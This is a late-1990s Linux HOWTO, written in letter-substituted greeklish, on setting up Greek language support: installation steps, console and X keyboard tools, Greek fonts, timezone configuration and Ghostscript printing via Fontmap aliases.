Ta pveumatika dikaiwmata autou tou HOWTO avnkouv stov Gewrgato Fwtn, alla epitrepetai n diavomn upo tous akolou8ous orous:

Ektos kai av orizetai diaforetika, ta keimeva "Linux HOWTO" eivai katoxurwmeva apo tous avtistoixous suggrafeis tous. Ta "Linux HOWTO" mporouv va avaparagovtai kai diavemovtai e3' oloklnrou n merikws, me ka8e meso fusiko n nlektroviko, arkei autn paragrafos gia ta pveumatika dikaiwmata, va diatnreitai se ka8e avtigrafo. Emporikn epavadiavomn epitrepetai kai malista evdeikvutai. Par' ola auta o suggrafeas 8a n8ele va eivai evnmerwmevos se tetoies periptwseis.

Oles oi metafraseis, paragomeves ergasies, n suv8eseis pou perilambavouv opoiodnpote "Linux HOWTO" prepei va kaluptovtai apo autnv tnv adeia. Dnladn, dev epitrepetai n paragwgn ulikou prokuptov apo auto kai n epiboln se auto epipros8etwv periorismwv osov afora tnv diadosn tou. E3aireseis mporouv va givouv kata periptwsn. Gia perissoteres plnrofories epikoivwvnste me tov suvtovistn twv Linux HOWTO.

Ev suvtomia, epi8umeitai n diadosn autwv twv plnroforiwv diamesou osov perissoterwv tropwv eivai efikto. Par' ola auta diatnrouvtai ta pveumatika dikaiwmata twv keimevwv "Linux HOWTO", kai eivai epi8umntn n evnmerwsn gia opoiodnpote sxedio diavomns autwv.

Gia perissoteres plnrofories, epikoivwvnste me tov Greg Hankins, suvtovistn twv Linux HOWTO sto email: gregh@metalab.unc.edu, n sto tnlefwvo +1 404 853 9989.

Eidika, gia tnv ellnvikn ekdosn epikoivwvnste me tov Gewrgato Fwtn, sto: gef@hellug.gr

1.6 Note to english users & Copyright

* This document explains how to setup hellenic (greek) support under Linux. This includes the environment for greek users, as well as details on the configuration of applications. The document is written in modern hellenic ISO-8859-7, but you may find a "greeklish" version as well. Hellenic HOWTO is maintained by Fotis Georgatos < gef@hellug.gr> *

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Greg Hankins, the Linux HOWTO coordinator, at gregh@metalab.unc.edu via email, or at +1 404 853 9989.


HELLENIC HOWTO: Egkatastasn

 Next Previous Contents

2. Egkatastasn

Quickstart gia Ellnves xrnstes:

  • Ri3te mia matia oti upostnrizetai to hardware sas sto Hardware-HOWTO.
  • Stnste mia apo tis diavomes Suse , Redhat , Slackware , Debian, OpenLinux. Agoraste tis n avtigrayte tis (epitrepetai!) apo to Internet: http://www.hellug.gr/gr/whatislinux/download.html.
  • Ru8miste to sustnma sas va suvergazetai me tov ektupwtn, to povtiki, to modem, kai va snkwvei to grafiko periballov me tov window manager pou 8elete.
  • Stnste ta ellnvika. Bl. epomevo upokefalaio Egkatastasi-Ellinikwn
  • Ru8miste tis efarmoges ( Netscape , Staroffice, shells kuriws) gia ta ellnvika.

2.1 Egkatastasn ellnvikwv

Ta bnmata diaferouv apo diavomn se diavomn, polu perissotero twra pou ta ellnvika evswmatwvovtai siga siga, stis diafores diavomes (Noembrios 1999).

Eav dev exete ndn ellnvika, loipov:

  • Greek-console Stnste to greek-console , gia va exete ellnvika stnv kovsola me aristero alt-shift. rpm -i greek-console-1.1.0-3.i386.rpm. Snmeiwste oti kavovika dev 8a deite ellnvika sto prompt, alla movo mesa se editor, kai afou zntnsete chcp 928 gia to fortwma ellnvikwv fonts.
  • GRAFIS Stnste tis grammatoseires graphis , gia ta Xwindows: xfntgr.rpm
  • GRkbd Stnste to grkbd (odngos plnktrologiou), gia va mporeite va grafete ellnvika sta Xwindows. GRkbd-1.2-1.i386.rpm
  • XFGreekKBD Eav to prongoumevo (grkbd) gia kapoio logo dev douleyei, katebaste auto. Eivai snmavtika pio poluplokos o tropos leitourgias tou apo to grkbd, eseis apla stnste to me tnv evtoln rpm -i XFGreekKBD-1.2-2.noarch.rpm

2.2 Xrnsimes sumboules

  • To periodiko magaz exei polla ar8ra pou eivai e3eidikeumeva pavw se 8emata pou apasxolouv polu kosmo px Tex/Latex, Samba, Staroffice, XISP, KDE, bash, Ellnvika, NLS klp. To magaz exei pln8os apo erwtnseis pou exouv givei sto parel8ov, kai ligo polu oi erwtnseis epavalambavovtai.
  • Afierwste arketo xrovo diabazovtas gia va evnmerw8eite gurw apo to problnma pou yaxvete, MHN paraleiyete va diabasete ta HOWTO kai FAQ (/usr/doc/faq) tou LDP project.
  • Prospa8nste opwsdnpote va kavete ya3imo se palies erwtnseis. Oi erwtnseis pavw se 8emata ndn apavtnmeva eivai baretes. Ya3te sxetika 8emata apo tnv selida http://lists.hellug.gr/archives.
  • Eav suvavtnsete problnmata, oi Ellnves xrnstes 8a mporouv va bon8nsouv mesa apo tnv lista linux-greek-users, ta newsgroups n ta sxetika IRC channels. Episns apo ekei 8a parete sumboules, gia to pws 8a ru8misete swsta to sustnma sas.
  • Ta die8vn newsgroups comp.os.linux* eivai episns xrnsima, px news://comp.os.linux.misc
  • Mnv stelvete proswpiko email se kapoiov, giati spavia uparxei o xrovos gia apavtnsn. Avti8eta protimnste tnv lista n to newsgroup, opou n pi8avotnta va parete apavtnsn eivai polu megalutern. PX, sto diko mou mailbox, suxva ftavouv grammata autou tou tupou:
    me lene Xxxxx spoudazo yyyyyyy kai arxisa na asxoloumai me to linux.
Tha ithela na mou peis pou mporo na bro to programma.
oti theleis na mou to steileis sto zzz@zzzzzzzzzz.zz
    Dev apavtw tetoia email, eidika otav to HOWTO kai to FAQ exouv tis apavtnseis, avtistoixa prattouv kai alloi. Deite kai auto eav dev peistnkate: Tinamhnkanete.html

2.3 Suse

  • Mia katatmnsn tou diskou me 1Gb eivai logikn epilogn gia to Suse, ka8ws erxetai me polla paketa pou 8a 8elete va dokimasete (oxi oti dev mporeite va to stnsete se 40Mb).
  • Ekkivnste tnv egkatastasn apo tn disketa n to 1o CD.
  • Mesa apo to periballov egkatastasns epile3te pou 8a mpei to leitourgiko, me ti parametrous, kai poia programmata 8a balete.
  • Afou akolou8nsete tis odngies pou exei stnv o8ovn, 8a kataln3ete sta telika stadia ru8misewv mesa apo to Yast, auto eivai to ergaleio me to opoio givetai administration, eav dev exete empeiria me UNIX.
  • Ru8miste povtiki, karta diktuou, ektupwtn, scanner, modem mesa apo to yast.
  • Molis 3emperdeyete kai me auto, tre3te to sax, auto ru8mizei to grafiko periballov.
  • Mia kaln idea eivai pai3ete me to KDE (stnste to apo to yast eav dev to exete ndn kavei), kai va suvde8eite me to Internet me to kppp, eav exete dialup suvdesn.
  • To suse perilambavei to applixware office suite, pou mporei va avtikatastnsei to office twv windows. Evallaktika uparxei to dwreav staroffice, pou 8a prepei va stnsete me tov kwdiko tou apo tov kombo tns stardivision, http://www.stardivision.com.
  • Ta Netscape, nedit, x11amp eivai se pollous xrnsima.
  • Palaioteres ekdoseis tou Suse exouv stov katalogo gia NLS "gr_GR" avti gia "el_GR" pou eivai to or8otero. 3eperaste to problnma me tnv evtoln "ln -s el_GR gr_GR".
Mia prwtn evtupwsn apo to Suse eixe parousiastei sto magaz, http://magaz.hellug.gr/05/03_suse.html, me idiaitera euvoikn kritikn (eivai n protimnsn tou grafovtos, toulaxistov gia to 1998-99, giati eivai 8bit clean kai upostnrizei kala to NLS). Agoraste to mazi me to egxeiridio kai dev 8a xasete.

2.4 Redhat

Eivai avtistoixn me tou Suse se megalo ba8mo, edw dev tnv perigrafoume avalutika. Deite review evos palaioterou distribution apo to magaz, http://magaz.hellug.gr/01/06_redhatinst.html kai mia avalutikn perigrafn gia to pws 8a to kavete va suvergazetai me ta ellnvika http://magaz.hellug.gr/13/03_grredhat2.html.

2.5 Slackware

As upo8esoume oti egka8istoume tnv diavomn Slackware:

  • Epibebaiwse oti to sustnma sou exei xwro ( Proteivetai 1 partition 512Mb )
  • Promn8eusou to apo kapoio FTP site (bl. FTP ) n agorase to se CDROM (bl. distribs ), kalutera to deutero. Proteivetai to Slackware 3.6, apo to Developer's Resource tns Infomagic n alln sullogn.
  • Ftia3e tnv Boot kai tnv Root disketa {5 Lepta}
  • 3ekiva tnv egkatastasn. Eav eisai arxarios, kalov 8a eivai va epile3eis Typical Installation. Ru8mise to Lilo gia va kaveis reboot. {30 Lepta}
  • Epavekkivnse to sustnma kai mpes sto Linux, gia prwtn fora, sav root (dev 8elei password) {2 Lepta}
  • Alla3e to root password me tnv evtoln passwd

Pleov 8a exeis eva sustnma pou douleuei, alla prepei va kaveis akoma ta e3ns:

  • Pngaive stov upokatalogo /usr/src/linux, kai ftia3e purnva gia to mnxavnma sou. {10+20 Lepta}
  • Egkatestnse tov veo purnva me to Lilo, kai epavekkivnse to sustnma sou {5 Lepta}
  • Tre3e to script XF86config, kai ftia3e to arxeio /etc/XF86config. Twra exeis Xwindows (dokimase X -probeonly, startx)
  • Eav suvdeesai me to Internet me dial-up, katebase kai egkatestnse to Netscape Communicator gia browser, mailer, news reader. H teleutaia ekdosn eivai suvn8ws edw: ftp://ftp.ntua.gr/pub/www/Netscape/ Ru8mise ta ellnvika tou.
  • XISP gia va suvdeesai sto Internet eukola. Polu kalo kai eivai kai Ellnva (Petros Mpouras).

2.6 Pros8etes ru8miseis

  • Oi xrnmatistes as avatre3ouv sxetika me to euro (8a periexetai sto latin0=iso8859-15) stnv dieu8uvsn ftp://ftp.freshmeat.net/pub/euro-patch/EURO-1.4.tgz
  • Egkatestnse tov ektupwtn sou. H diadikasia diaferei apo periptwsn se periptwsn, alla sxedov pavta xreiazetai to Ghostscript. Xrnsimo eivai to a2ps.
  • Egkatestnse paketa pou se evdiaferouv opws Word processors, sxediastika, klp. Pi8avotata 8a breis polu boliko gia epe3ergasia keimevou to Nedit.
  • Mnv 3exaseis va ri3eis mia matia sta alla FAQs kai HOWTOs (eivai sta agglika)
  • Osoi exouv suvn8isei tov Norton Commander apo to DOS, 8a epitaxuvouv polu tnv ergasia tous me tov Midnight Commander.
  • Osoi eivai pragmatika polu suvn8ismevoi sto DOS, mporouv va xrnsimopoinsouv tov emulator DOSEMU tou Linux, me tov opoio 8a eivai duvatov va tre3ouv tis perissoteres efarmoges DOS, katw apo Linux. Gevika dev uparxei problnma me ta ellnvika tou DOS katw apo X n kovsola alla isws xreiastei va kavete kapoies ru8miseis.
  • Osoi 8elouv efarmoges Windows uparxei gia autous to Wabi apo tnv Sun, pou trexei pln8wra efarmogwv sumperilambavomevou kai tou Office. To Wabi omws stoixizei 200$, gia auto... dokimaste to Wine, Pou prosfata exei arxisei kai deixvei snmadia snmavtikns beltiwsns.
  • Gia window manager proteivoume to KDE: http://www.kde.org/


HELLENIC HOWTO: Ru8miseis Ellnvikwv

 Next Previous Contents

3. Ru8miseis Ellnvikwv

Oloi oi Eurwpaioi xrnstes opoioudnpote leitourgikou sustnmatos, exouv duo problnmata: To prwto eivai n emfavisn twv eidikwv xaraktnrwv (grammatwv) tns glwssas, kai to deutero eivai va evnmerwsouv tov upologistn gia tnv allagn tou plnktrologiou. Malista ta pragmata eivai xeirotera, giati oi efarmoges dev perimevouv eidikous xaraktnres kai suxva apaitouv eidikes ru8miseis n metablntes periballovtos.

Gia tnv emfavisn twv xaraktnrwv xreiazetai va 3erouv oi efarmoges oti xrnsimopoieitai to set 737 n to 928 (=ISO-8859-7 n Latin-7). Epipros8eta 8a xreiastouv grammatoseires wste va faivovtai kai va tupwvovtai swsta ta ellnvika.

Gia mia grngorn egkatastasn ellnvikwv deite to avtistoixo kefalaio: Egkatastasi-Ellinikwn

3.1 Ellnvikes grammatoseires

Gia grammatoseires gia Tex, blepe Links-gia-Tex

GRAFIS

To egxeirnma GRAFIS exei skopo va sulle3ei oles tis ellnvikes grammatoseires gia X-Windows pou kukloforouv eleu8eres (PUBLIC DOMAIN) sto Diktuo, va tis omadopoinsei kata tupo n/kai xaraktnristika, va dior8wsei tuxov la8n pou autes exouv, va dnmiourgnsei vees grammatoseires kai telos, va tis paradwsei stnv Ellnvikn koivotnta ws public domain. Hdn to exei petuxei, deite http://hq.hellug.gr/~graphis/

To GRAFIS perilambavei OLA ta prongoumeva paketa me kales ellnvikes grammatoseires pou exouv kuklofornsei kata kairous:

  • X11-Greek-Fonts (P. Christias, 1994),
  • X11greek (P. Christias, 1996)
  • greekXfonts-misc, (A. Haritsis, 1995)
  • hrgrXfonts-75dpi, (Th. Prwtopapas & A. Haritsis @ HRI, 1995-6 )
  • hrgrXfonts-100dpi, (Th. Prwtopapas & A. Haritsis @ HRI, 1995-6 )
  • greekXfonts-BDF-1.1, ( A. Haritsis, 1995-6)
  • greekXfonts-Type-1.1, ( A. Haritsis, 1995-6)
  • XgreekFonts (Moraitakis Konstantinos, 1997)
  • XFGreekFNTS (Panagiotis Vrionis, 1998?)
  • elot7x14 + elot7x14B (A. Kavarnos, 1997)
  • helv_R_O_10gr+helv_R_08gr+lutB_12_14gr (P. Bouras, 1998-9)

=====================================================================
 Shmeiwseis apo Aggelo Xaritsi [ah@computer.org]:
 * ta Type1 (k.a.) 928 fonts moy exoyn to A tonoymeno se 2 theseis wste na
   einai symbata me windows texts. Epishs exoyn kai ta symbola poy leipoyn.
 * to kbd support gia ellhnika sto rxvt (poy exw kanei contribute) exei
   yposthriksh gia anw teleia kai ellhnika omoiwmatika kathws epishs
   kai grammata me tono/dialytika. Ola ayta prepei na perasoyn
   se X11 xkb-style (ala grISOXKb).

* X11greek:
Den iksera oti den bgainei h payla! An typwseis to PS bgainei
kanonika. Ara mallon einai bug toy X Type1 rasteriser.
BTW, exw kanei ki ena aplo filtro (grpsfilter) poy epitrepei printing
greek texts mesa apo Netscape. Des parakatw!
H lysh poy allazei ola ta ksena fonts se ellhnika den einai swsth.

To greekXfonts-full-1.1.tgz egine me skopo:
* na mazepsei ta pio kala greek fonts poy yphrxan sto diktyo
  Exei ta grtex/grtt kai polla alla: grfixed, couriergr, helveticagr.
  Akoma fonts kai se 737 encodings.
* na xrhsimopoihsei "swsta" (XLFD) kai omoiogenh font names
* na prosferei Type1 scalable fonts ypshlhs poiothtas (ta opoia
  prosferontai kai xwrista) - grinet
* na doyleyei trasnsparently me Netscape
=====================================================================

Truetype

Teleutaia uparxei n duvatotnta va xrnsimopoinsei kaveis kai Truetype grammatoseires, me eva true-type font engine kai metatropeis, idavika gia osous exouv sulloges apo grammatoseires gia Windows/Mac. Deite http://www.freetype.org/ kai gia va stnsete true type grammatoseires sto magaz http://magaz.hellug.gr/10/05_TTFlinux.html.

Kaveva ergaleio gia va ftia3w fonts;

Ti fonts, bitmap (px. PCF/BDF) n Scalable (p.x. Type1, TTF) ;

Gia to prwto uparxouv diafora (xmbdfed polu kalo, xfedor oxi kai toso) Gia to deutero tipota ousiastiko (dustuxws). Dustuxws oti uparxei se stul Fontographer kai Icarus eivai se polu alpha stadio. To movo sobaro programma kai kata tn gvwmn mou to kalutero eivai to METAFONT alla 8elei diabasma.

Uparxei mia polu evdiaferousa selida sto diktuo: http://members.iworld.net/bumchul/xfont.html Stnv selida autn 8a brei kaveis - ektos apo plnrofories gia to pws 8a balei kaivouria fonts sto mnxavnma tou- ergaleia metatropns: px to ttftobdf. Episns uparxei to bdftopcf.

Evdiaferousa eivai episns kai n selida: http://user.online.be/gd33771/download.html me mia poikilia ttf fonts (px. gia va mporei kaveis va grafei got8ika se xterm)

3.2 Kovsola (text mode)

Oi teleutaies diavomes prepei va exouv ta ellnvika evswmatwmeva. Tre3te:

#setfont iso07.f16
#loadkeys gr
Eav dev deite muvnmata la8ous, tote exete ellnvika stnv kovsola ndn, allazouv me aristero ALT-SHIFT.

UP' OYIN: STO SHELL (bash, tcsh) DEN EXEI ELLHNIKA, KANONIKA. DOKIMASTE SE ENAN EDITOR, PX JOE,VI.

Greek-console

Stnv kovsola mporeite va xrnsimopoinsete to greek-console tou Giwrgou Keramida. Upostnrizei kai 737 kai 928, evw exei kai eukoln egkatastasn me rpm. Ta ellnvika faivovtai me "chcp 737" kai "chcp 928" kai (ap)evergopoiouvtai me (aristera) ALT-SHIFT. Episns to de3i ALT allazei stigmiaia to plnktrologio.

Purnves 2.2 kai ellnvika

H vea gevia purnvwv 2.2.x (kai ara kai oi 2.3.x), exouv veo kwdika gia tnv diaxeirisn tns o8ovns se text mode (eivai pleov me framebuffer) kai gia auto uparxouv problnmata stnv upostnri3n twv ellnvikwv stnv kovsola (oxi sto grafiko periballov). O Swtnrns Tsimpovns brnke tnv lusn, va proste8ei sto /etc/profile to e3ns:

[ -t 1 ] && printf "\033(K"
to opoio evergopoiei ta ellnvika otav kapoios kavei interactive login.

Loipa programmata gia kovsola

O Ale3ios Xouxoulas exei grayei episns to greek-2.0.tar.gz kai o Avtwvns Kabarvos (akav@hellug.gr) to grpty, pou douleuei kai se solaris.

3.3 Grafiko periballov (Xwindows)

Oi epiloges pou exei kaveis gia va grafei ellnvika katw apo XWindows se Linux eivai (perav tou va ta ftia3ei movos tou, px me xmodmap opws leei sto HRI): to GRkbd (n gevikotern lusn) , to grISOXKb (eav apotuxei to prongoumevo) kai to kikbd (gia to KDE).

GRkbd

To paketo auto apo to Giavvn Tsakirn eivai ousiastika mia snmaia pou allazei apo tnv mia glwssa stnv alln, opws 8umouvtai polloi apo ta windows-3.x. Eivai n pio eukoln lusn gia va exete ellnvika sto Linux sas kai 8a to breite sto metalab se source me to ovoma greek12.tgz kai stov Argea se binary. To tgz arxeio pou 8a katebasete, periexei eva README, kai eva ektelesimo pou 8a balete stov katalogo /usr/local/bin. Mia snmaia pou allazei apo ellnvikn se agglikn kai avapoda se ka8e klik, n me patnma tou aristerou ALT-SHIFT, 8a emfavistei stnv o8ovn otav to ektelesete. Diabaste to README.

KiKbd

To KiKbd eivai apo tous Alexander Budnik kai Dnmntrio Mpoura kai eivai evas komyos tropos va exei kaveis ellnvika sto KDE (sumperilambavetai). Douleye swsta me KDE=1.1.1 kai Qt=1.42 (alla oxi 1.44).

xgrk

Episns, eivai ev gvwsn mas n upar3n autou tou paketou gia ellnvika: http://www.softlab.ece.ntua.gr/~sivann/xgrk/ tou Spurou Iwavvou, pou eivai katallnlo gia polla tupou UNIX leitourgika sustnmata.

grISOXKb

H prwtn ekdosn tou grISOXKb (1997) eivai proiov suvergasias twv Dnmntrn Mpoura kai Leftern Tsivtzeln. To paketo grISOXKb eivai upersuvolo twv palaioterwv GRKbd (oxi auto tou Tsakirn - apln suvwvumia... ) kai grXiso. H version autn exei polla "kaloudia". Ta duo pio snmavtika eivai:

  • oti dev xreiazetai shared object binaries gia to X11R6.1 (XFree86 v3.2) kai X11R6.3 (XFree86 v3.3 kai v3.3.1), kai
  • oti douleuei kai me X11 clients pou upostnrizouv glwsses ektos twv Agglikwv mesw tou compose tou input extension.
Perissotera sto README tou paketou, kai sta arxeia docs/INSTALLATION.*: ftp://argeas.hellug.gr/pub/unix/linux/GREEK/grISOXKb-1.2.tar.gz

=====================================================================
Apo [ah@computer.org]
Ta tonoymena (; + letter) de moy bgainoyn se shells (ok se xedit).
Den exw akomh brei giati.
To package einai ontws poly kalh prospatheia. Einai akoma ateles.
Leipoyn: tonoymena+dialytika, anw teleia, ellhnika omoiwmatika
(BTW, ola yposthrizontai sto rxvt compiled me greek support).
Epishs: ypothetei oti to keyboard einai ellhniko. Yparxoyn polla kbds
(opws ta UK, IT klp) poy exoyn polla symbols se theseis diaforetikes
apo to ellhniko (eg. @, ", \ klp). Exw hdh kanei patch sto grISOXKb
gia to UK keyboard kai kalo einai na mporei kaneis me COUNTRY-X
keyboard na mporei na kanei type ellhnika xwris na allazoyn oi theseis
allwn symbols.

Mazi me fix twn parapanw to XKB X11 greek support tha einai sxedon teleio.
Ksereis an kai poy exei documentation gia XKB kai compose files.
Kapoios prepei na to teleiwsei. Doyleyei kaneis twra se ayto ?
=====================================================================

3.4 Zwvn wras (Timezone)

H Ellada brisketai stnv Wriaia Zwvn Avatolikns Eurwpns (Eastern European Timezone,EET), pou eivai isoduvamo me tnv wra Greenwich suv 2 wres (GMT+2), kata tnv xeimerivn periodo. To kalokairi otav givetai allagn wras, n swstn diafora eivai +0300 (EET DST), opou DST snmaivei Daylight Saving Time. Prokeimevou va givetai automata n metatropn, kalutera epile3te Europe/Athens. To 1996 alla3e n nmeromnvia allagns apo kalokairivn se xeimerivn wra (apo Septembrn, twra givetai Oktwbrn). Oi vees diavomes tou Linux meta to 1996 to exouv up' oyiv tous auto, oi palaioteres 8elouv dior8wsn. Deite ta epomeva upokefalaia sxetika me to 8ema.

tzHellas

Dhmhtrhs Bouras: Me to paron 0a h0ela na anakoinwsw ena mini-paketo pou parexei ena dior0wmeno arxeio gia to Ellhniko timezone, meta tis allages pou perisy kai fetos (1996) anakoinw0hkan gia tis hmeromhnies allaghs ths "kalokairinhs" wras. Mazi me auto yparxei kai ena mikro programmataki pou diabazei tetoia arxeia kai typwnei tis plhrofories pou periexoun se an0rwpina-anagnwsimh morfh (pws leme "human-readable form" - h metafrash twn agglikwn orwn dinei kai pairnei, etsi gia na anatrixiazoun merikoi-merikoi :) :)).

To paketaki (molis 4365 bytes) 0a to breite (entos oligou) sto

ftp://argeas.hellug.gr/pub/unix/linux/GREEK/tzHellas-271097.tar.gz

Katebaste to kai diabaste to README gia perissotera. Bottom line: to timezone file "Hellas" pou periexei, parexei swstes hmeromhnies allaghs wras (symfwna me thn prosfath epishmh anakoinwsh) gia thn Ellada, mexri kai ton Oktwbrio tou 2001, h mexri na mas alla3oune pali tis hmeromhnies... :)

EET.zic

=====================================================================
An 8elei na orisei kaneis timezone environment variable, ayth einai h
svsth:
        setenv TZ 'EET-2EET DST-3,M3.5.0/3:00:00,M10.5.0/3:00:00'
vraio e? :-)

Pio kala bebaia einai na xrhsimopoioyme to svsto zoneinfo arxeio.
Oi teleytaies ekdoseis toy linux exoyn svsta orismeno
to EET (allakse to 1996).
Oi palaioteres allazoyn thn vra to Septembrio, anti toy Oktvbrioy.
Etsi ftiaxnoyme to parakatv arxeio EET.zic:

----- CUT: EET.zic -----
Rule    E-Eur   1986    max     -       Mar     lastSun 3:00s   1:00    " DST"
Rule    E-Eur   1986    1995    -       Sep     lastSun 3:00s   0       -
Rule    E-Eur   1996    max     -       Oct     lastSun 3:00s   0       -
Zone    EET             2:00    E-Eur           EET%s
----- CUT: END OF EET.zic -----

Meta:
        zic EET.zic
(ayto ftiaxnei to /usr/lib/zoneinfo/EET)
        /bin/rm -f /var/lib/zoneinfo/localtime
        ln -s /usr/lib/zoneinfo/localtime /var/lib/zoneinfo/EET
=====================================================================

3.5 Ektupwseis

Se auto to kefalaio 8a perigrayoume pws va ru8misete to sustnma sas wste va mporeite va ektupwsete ellnvika. Av dev eiste e3oikiwmevoi me ta basika sxetika me ta lpd kai lpr kalo 8a ntav va sumbouleuteite to Printing-HOWTO pou divei polutimes plnrofories.

Plain text se text ektupwtn pou upostnrizei ellnvika.

Eav o ektupwtns sas mporei va tupwsei plain text kai upostnrizei ellnvika, dev xreiazetai va kavete sxedov tipota. Apla steilte to keimevo gia ektupwsn me tnv evtoln lpr. Prose3te movo to 8ema tou set xaraktnrwv: bl. kefalaio greekcharsets . Eav o ektupwtns sas upostnrizei diaforetikn kwdikoselida apo autn pou eivai grammevo to keimevo, 8a prepei va to metatreyete, bl. convertgreek .

Plain text se ektupwtn pou dev upostnrizei ellnvika.

Av o ektupwtns sas dev upostnrizei ellnvika, 8a prepei va metatreyete to plain text keimevo se PostScript mesw tou a2ps (bl. a2ps ) kai va to tupwsete mesw tou Ghostscript. Eav exete problnmata, ya3te gia to a2psgr.

Tupwvovtas ellnviko PostScript keimevo.

Akomn kai eav dev dia8etete ektupwtn pou va upostnrizei PostScript, to Linux sas epitrepei va tupwvete tetoia keimeva mesw tou Ghostscript. To ghostcript eivai eva programma pou metatrepei PostScript arxeia se morfn pou mporouv va katalabouv alles suskeues (ektupwtes diaforwv eidwv, X Windows, fax k.l.). Apo auto to snmeio kai pera, "ektupwsn mesa apo to ghostscript" 8a snmaivei metatropn evos PostScript arxeiou sto format tou ektupwtn sas kai meta ektupwsn me kapoia evtoln tns morfns lpr file.

Ti 8a xreiasteite gia va tupwsete ellnvika apo to ghostview:

  • Promn8euteite to ghostview (eivai tzampa) kai va to egkatastnsete.
  • Na exete egkatestnmeves ellnvikes PostScript (type1) grammatoseires, kapou sto sustnma sas. Me auto evvow oti oi grammatoseires autes mporouv va briskovtai se opoiodnpote directory (p.x. kapou sto X11R6 tree, gia xrnsn mesa apo ta X Windows).
  • Na tropopoinsete to arxeio Fontmap.
Dokimaste oti douleuei swsta px me tnv evtoln: {???}

gs -sDEVICE=deskjet -dNOPAUSE -sOutpoutFile=/dev/lp1 tiger.ps

Tropopoiwvtas to Fontmap

To Fontmap eivai to arxeio pou divei sto ghostscript pou 8a brei to arxeio ka8e grammatoseiras. Sto sustnma mou brisketai sto

/usr/share/ghostscript/3.33/Fontmap
. Av dev 3erete pou exei egkatasta8ei to diko sas, dwste
find / -name "Fontmap"
gia va to breite.

To Fontmap apoteleitai apo eggrafes tns morfns

/Charter-Roman                  (bchr.pfa)      ;
H grammn autn gia paradeigma deixvei oti n grammatoseira Courier-Roman brisketai sto arxeio bchr.pfa.

To movo pou xreiazetai va kavoume eivai va pros8esoume tis ellnvikes grammatoseires. Ta ovomata pou 8a dwsete stis grammatoseires sas mporouv va eivai opoiadnpote (p.x. PanosArialBold) alla kalo eivai va exouv mia logikn (p.x. to PanosArialBold va mnv avtistoixei se mia courier italic grammatoseira !!!). Av oi grammatoseires suvodeuovtai apo kapoio arxeio pou va tis perigrafei (p.x. fonts.scale) kalo 8a ntav va xrnsimopoinsete ovomata pou va eivai avtistoixa me auta pou divovtai ekei. Mporeite akomn va dwsete

strings filename.pfb | more
kai va koita3ete gia kapoia grammn tns morfns
/FontName /GreekArialBold def
Prosoxn! Ta ovomata twv arxeiwv otav dev perilambavouv to directory 8ewrouvtai pws briskovtai sto directory pou to ghostscript fulaei paromoia arxeia. Av oi grammatoseires sas briskovtai kapou allou va balete oloklnro to ovoma. Gia paradeigma,

/GreekArialPlain (/usr/X11/lib/X11/fonts/Type1GR/grkarip.pfb) ;

Av stelvete arxeia pros ektupwsn apo diafores efarmoges (p.x. Netscape) eivai polu pi8avo autes va xrnsimopoiouv kapoies default grammatoseires. Gia paradeigma, to Netscape 8a steilei opoiodnpote arxeio, ave3artnta apo tnv glwssa pou eivai grammevo, va tupw8ei me tis grammatoseires Times kai Courier. Auto 8a exei sav apotelesma va tupwvovtai ta ellnvika keimeva se akatavontn morfn (gia va to poume eugevika). H lusn eivai va pros8esete sto telos tou Fontmap eggrafes pou 8a avtika8istouv tis grammatoseires autes me tis ellnvikes. Gia paradeigma oi teleutaies grammes tou dikou mou Fontmap eivai:

/Times-Roman                    /GreekTimesPlain ;
/Times-Italic                   /GreekTimesItalic ;
/Times-Bold                     /GreekTimesBold ;
/Times-BoldItalic               /GreekBoldItalic ;
/Courier                        /GreekCourierPlain      ;
/Courier-Italic                 /GreekCourierItalic ;
/Courier-Bold                   /GreekCourierBold ;
/Courier-BoldItalic             /GreekCourierBoldItalic ;
H lusn autn dev eivai to idaviko alla toulaxistov douleuei.

Fontmap, pros8etes luseis

O 'Aggelos Xaritsns mou esteile tis dikes tou ru8miseis gia to problnma sxetika me to Fontmap, ka8ws kai eva programmataki, to grpsfilter (deite parakatw), me to opoio 8a mporesete va 3eperasete to problnma me to netscape xwris va peira3ete to fontmap.

Ta Fontmap aliases poy proteinw (kanei use ta Type1 fonts moy):
Pros to telos toy Fontmap:
===================cut==here=======================================
% ------------------------------------------------------
% Elot greek fonts by Angelo Haritsis <ah@computer.org>
% ------------------------------------------------------
/GreekArialPlain                (grkarip.pfb)   ;
/GreekArialBold                 (grkarib.pfb)   ;
/GreekArialItalic               (grkarii.pfb)   ;
/GreekArialBoldItalic           (grkaribi.pfb)  ;
/Greek-Arial-Plain              /GreekArialPlain ;
/Greek-Arial-Bold               /GreekArialBold ;
/Greek-Arial-Italic             /GreekArialItalic ;
/Greek-Arial-Bold-Italic        /GreekArialBoldItalic ;
/Greek-Arial-BoldItalic         /GreekArialBoldItalic ;

/GreekTimesPlain                (grktimp.pfb)   ;
/GreekTimesBold                 (grktimb.pfb)   ;
/GreekTimesItalic               (grktimi.pfb)   ;
/GreekTimesBoldItalic           (grktimbi.pfb)  ;
/Greek-Times-Plain              /GreekTimesPlain ;
/Greek-Times-Roman              /GreekTimesPlain ;
/Greek-Times-Bold               /GreekTimesBold ;
/Greek-Times-Italic             /GreekTimesItalic ;
/Greek-Times-Bold-Italic        /GreekTimesBoldItalic ;
/Greek-Times-BoldItalic         /GreekTimesBoldItalic ;

/GreekCourierPlain              (grkcurp.pfb)   ;
/GreekCourierBold               (grkcurb.pfb)   ;
/GreekCourierItalic             (grkcuri.pfb)   ;
/GreekCourierBoldItalic         (grkcurbi.pfb)  ;
/GreekCourier                   /GreekCourierPlain ;
/Greek-Courier                  /GreekCourierPlain ;
/Greek-Courier-Plain            /GreekCourierPlain ;
/Greek-Courier-Bold             /GreekCourierBold ;
/Greek-Courier-Italic           /GreekCourierItalic ;
/Greek-Courier-Bold-Italic      /GreekCourierBoldItalic ;
/Greek-Courier-BoldItalic       /GreekCourierBoldItalic ;

% Polytoniko Greek fonts
/GreekPolyTimesPlain            (grkpolp.pfb)   ;
